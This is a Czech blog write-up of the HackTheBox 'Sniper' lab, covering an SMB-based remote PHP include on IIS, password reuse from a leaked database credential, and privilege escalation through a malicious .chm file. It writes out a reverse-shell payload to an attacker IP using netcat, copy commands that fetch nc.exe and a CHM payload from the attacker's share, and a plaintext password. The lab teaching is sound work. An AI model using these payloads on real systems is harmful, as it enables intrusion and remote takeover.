tom@home.htb:~$

Blog o HTB

18 January 2021

Sniper

Úvod a kontext

Sniper stojí na dvou konkrétních provozních chybách. Webová část dovolí v lokalizačním parametru použít UNC cestu na útočníkův SMB share, takže PHP na IIS načte vzdálený soubor jako lokální include. Tím vznikne shell bez klasického uploadu i bez SQL injection. Přesně tento typ Windows-specific file include chyby rozebírám i v článku File read a include varianty mimo klasické LFI.

První kontext NT AUTHORITY\\IUSR ale ještě není skutečný foothold. Teprve webová konfigurace vydá reuse heslo pro Chris a až potom přichází druhá část: .chm soubory ukládané do důvěryhodné cesty, které zpracovává privilegovanější proces.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji veřejné služby a ověřuji, jestli bude první vstup přes web, SMB nebo nějakou administrativní vrstvu.

nmap -p 1-65535 -T4 -A -sC -v $IP
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC

Z kombinace IIS a SMB je rozumné čekat, že se web i sdílení mohou nějak potkávat, ať už přes upload, include nebo interní kopírování souborů.

Enumerace webu

Průzkum webu ukázal několik PHP cest:

dirb http://$IP
+ http://10.10.10.151/index.php
+ http://10.10.10.151/blog/index.php
+ http://10.10.10.151/user/index.php

Právě blog část byla zajímavá tím, že parametr lang načítal jazykový soubor. Pokud aplikace takový parametr nepřísně validuje, je potřeba zkusit nejen LFI, ale i UNC cestu na vzdálený share.

Analýza zjištění

Zneužití lang přes SMB share

Na Windows může PHP pracovat i s cestou ve tvaru \\\\attacker\\share\\soubor.php. Pokud aplikace takovou cestu předá do include, výsledkem je v praxi vzdálené spuštění útočníkova PHP kódu.

Přesně to se na Sniperu podařilo:

http://10.10.10.151/blog/?lang=\\10.10.15.134\data\cmd.php&c=\\10.10.15.134\data\exe\nc 10.10.15.134 4000 -e cmd

Myšlenka je jednoduchá:

Výsledkem byl shell v kontextu webového účtu NT AUTHORITY\\IUSR.

Databázové heslo a pivot na Chris

Po footholdu mělo smysl projít webové soubory. V adresáři aplikace byl db.php:

$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");

To samo o sobě ještě není user flag. Rozhodující byla až interpretace toho, co s heslem dál:

Prakticky šlo heslo zneužít přes PowerShell credential objekt a spustit další shell už jako Chris.

Získání přístupu

Shell jako Chris

Po přesunu z IUSR do účtu Chris už bylo možné pracovat se systémem jako běžný uživatel a potvrdit user část:

more user.txt
__CENSORED__

Smysl tohoto kroku je důležitý i metodicky: databázové heslo není automaticky „jen pro MySQL“. Pokud tým hesla recykluje, často otevře i doménový nebo lokální účet.

Eskalace oprávnění

Proč jsou důležité .chm soubory

Lokální enumerace ukázala, že v C:\Docs se pracovalo s dokumentací a že .chm soubory na hostu zpracovával privilegovaný proces přes hh.exe. To je přesně ten typ interního workflow, který se dá zneužít, pokud uživatel s vyššími oprávněními automaticky otevírá soubory od méně privilegovaného účtu.

Na host bylo proto vhodné připravit dvě věci:

cp \\10.10.15.134\data\exe\nc.exe c:\programdata\nc.exe
cp \\10.10.15.134\data\chm\doc.chm c:\docs\instructions.chm

Malicious instructions.chm pak po spuštění zavolal nc.exe a předal shell zpět útočníkovi. Kritický zde není samotný formát CHM, ale důvěra administrativního workflow v soubor umístěný v monitorovaném adresáři. To je praktický příklad vzorce popsaného i v článku Zápis do prostoru, který se pak vykoná nebo použije pro autentizaci.

Potvrzení administrátorského přístupu

Jakmile se spustil škodlivý CHM dokument v privilegovaném kontextu, vznikl shell jako administrátor a bylo možné přečíst root.txt:

more root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: windows - rfi - smb - php - exploit